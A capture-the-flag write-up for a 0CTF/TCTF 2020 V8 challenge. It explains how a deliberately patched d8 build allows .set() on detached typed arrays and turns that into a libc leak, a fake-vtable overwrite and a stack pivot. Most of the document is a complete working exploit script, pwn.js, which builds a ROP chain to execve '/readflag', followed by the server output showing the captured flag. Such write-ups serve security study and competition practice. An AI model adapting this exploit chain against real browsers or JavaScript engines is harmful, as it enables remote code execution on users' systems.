Tags: v8
Rating:
For this challenge we get a chromium diff, we can see that the change allows us to call .set() on detached typedarrays.
Thus we can leak pointers by activetypedarray.set(detachedtypedarray) and overwrite by doing the other way around.
We have to find something useful to overwrite; everytime we create a typed array we have the following allocations:
```
d8->calloc(112, 1) = 0x555556af4520 // The actual typed array (we control it's size)
d8->malloc(48) = 0x555556af4330 // Contains a vtable pointer
d8->malloc(32) = 0x555556af45a0
d8->malloc(40) = 0x555556af45d0
```
By creating a typedarray of size 48 we can get it to overlap with the stuct containing the vtable pointer. Then we can get pc control on freeing the typedarray buffer by inserting a fake vtable. Use the `xchng rax, rsp` gadget in libc to pivot and rop into an execve call. The pivot gadget is a bit unwieldy but it's ok.
pwn.js:
```js
var ab0 = new ArrayBuffer(0x30);
var ab1 = new ArrayBuffer(0x30);
// Leak a libc address
var b1 = new BigUint64Array(0x600);
var b2 = new BigUint64Array(0x600);
%ArrayBufferDetach(b1.buffer);
b2.set(b1);
var leak = b2[1];
var t0 = new BigUint64Array(ab0);
var t1 = new BigUint64Array(ab1);
%ArrayBufferDetach(t0.buffer);
var ab2 = new ArrayBuffer(0x60);
var ab3 = new ArrayBuffer(0x8000);
var rop = new BigUint64Array(ab3);
var rop2 = new Uint8Array(ab3);
var c1 = new ArrayBuffer(8);
var b = new BigUint64Array(c1);
var c = new Uint8Array(c1);
var libc_base = leak - 4111520n;
// We can now write over some inner struct of ab3 containing a vtable, which is
// called when we free ab3's backing store
t1.set(t0);
t1[3] = t1[0]+8n;
t0.set(t1);
// Fixup for unwieldy pivot gadget
let val = ((t1[0] - 92464n) >> 8n) & 0xffn;
b[0] = val;
rop[0] = libc_base +0x6388n;
rop2[0] -= c[0];
rop[1] = t1[0];
rop[4] = libc_base + 0xfacc5n;
var pop_rdi = libc_base + 0x2155fn;
var pop_rsi = libc_base + 0x23e6an;
var pop_rdx = libc_base + 0x1b96n;
var ptr = t1[0] + 0x30n;
var ptr2 = t1[0] + 0x40n;
var execve = libc_base + 937520n;
var str = "/readflag";
var arg = ""
for (i=0; i<str.length; i++) {
rop2[0x30+i] = str.charCodeAt(i);
}
for (i=0; i<arg.length; i++) {
rop2[0x40+i] = arg.charCodeAt(i);
}
rop[0x20] = ptr;
rop[0x21] = ptr2;
b[0] = pop_rdi;
rop2.set(c, 17030);
b[0] = ptr;
rop2.set(c, 17038);
b[0] = pop_rsi;
rop2.set(c, 17046);
b[0] = t1[0] + 0x100n;
rop2.set(c, 17054);
b[0] = pop_rdx;
rop2.set(c, 17062);
b[0] = 0n;
rop2.set(c, 17070);
b[0] = execve;
rop2.set(c, 17078);
// Call to allocator->Free which we control
%ArrayBufferDetach(rop.buffer);
```
And in action:
```
$ cat pwn.js | nc -q1 pwnable.org 40404
_______________ _____ ________ ___________________
__ ____/___ /_ ______________ _______ ___ ___(_)____ _________ ___ ___ __ \__ ____/___ ____/
_ / __ __ \__ ___/_ __ \__ __ `__ \__ / _ / / /__ __ `__ \ __ /_/ /_ / __ __/
/ /___ _ / / /_ / / /_/ /_ / / / / /_ / / /_/ / _ / / / / / _ _, _/ / /___ _ /___
\____/ /_/ /_/ /_/ \____/ /_/ /_/ /_/ /_/ \__,_/ /_/ /_/ /_/ /_/ |_| \____/ /_____/
Welcome to 0CTF/TCTF 2020!
Paste your javascript code here, end it with EOF(not Ctrl-D :P). Then I will run `d8 <xxx.js>`.
flag{dbc68439ba5f2cdbccf459cd3edb54c80b9c89e9}
```